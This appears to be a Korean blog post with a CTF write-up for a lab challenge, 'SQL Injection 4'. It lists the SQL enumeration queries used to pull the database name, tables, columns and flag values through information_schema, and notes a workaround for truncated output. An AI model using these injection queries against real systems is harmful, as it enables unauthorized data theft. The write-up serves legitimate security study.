Almon Dev

ctf 풀이 (SQL Injection 4) 본문

모의해킹/모의해킹

ctf 풀이 (SQL Injection 4)

Almon 2024. 11. 30. 15:48

ctf 문제 풀이

 

 

SQL Injection 4

 

 

풀이

사이트의 로직은 sql injection3와 동일한 것으로 보입니다.

sql injection3에서 만들었던 python을 이용해서 풀겠습니다.

 

1> DB명 추출

select database()

=> DB 명 : sqli_2_1

 

 

2> Table명 추출

select table_name from information_schema.tables where table_schema='sqli_2_1' limit 0,1

=> Table 명 : flag_table, member

 

 

3> Column명 추출

select column_name from information_schema.columns where table_schema='sqli_2_1' and table_name='flag_table' limit 0,1

=> flag_table Column 명 : flag1~8

=> 본래 group_concat을 사용해서 limit를 쓰지 않고 한 번에 불러오는 것을 자주 사용했지만 응답의 자릿수가 부족해서 잘려서 나옵니다.

 

 

 

4> 데이터 추출

concat을 이용해서 flag1~8을 합쳐서 출력합니다. 

=> 1~8을 한번에 불러오면 잘려서 출력됩니다. 1~4 / 5~8을 따로 출력해서 합쳐줍니다.

 

 

 

'모의해킹 > 모의해킹' 카테고리의 다른 글

ctf 풀이 (SQL Injection 6)  (0) 2024.12.02
ctf 풀이 (SQL Injection 5)  (0) 2024.11.30
ctf 풀이 (SQL Injection 3)  (2) 2024.11.29
모의해킹 공부 7주차 (SQL Injection)  (0) 2024.11.29
ctf 풀이 ( SQL Injection 2 )  (1) 2024.11.24